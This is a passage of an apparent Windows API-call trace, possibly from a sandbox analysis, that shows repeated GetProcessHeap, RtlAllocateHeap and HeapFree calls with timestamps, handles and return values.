Size=0x100) returned 0x32f6d10 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.380] GetProcessHeap () returned 0x540000 [0063.380] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.381] GetProcessHeap () returned 0x540000 [0063.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.382] GetProcessHeap () returned 0x540000 [0063.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.382] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.383] GetProcessHeap () returned 0x540000 [0063.383] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.383] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.384] GetProcessHeap () returned 0x540000 [0063.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.385] GetProcessHeap () returned 0x540000 [0063.385] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.386] GetProcessHeap () returned 0x540000 [0063.386] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.387] GetProcessHeap () returned 0x540000 [0063.387] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.388] GetProcessHeap () returned 0x540000 [0063.388] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.388] GetProcessHeap () returned 0x540000 [0063.389] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.389] GetProcessHeap () returned 0x540000 [0063.389] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.409] GetProcessHeap () returned 0x540000 [0063.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, 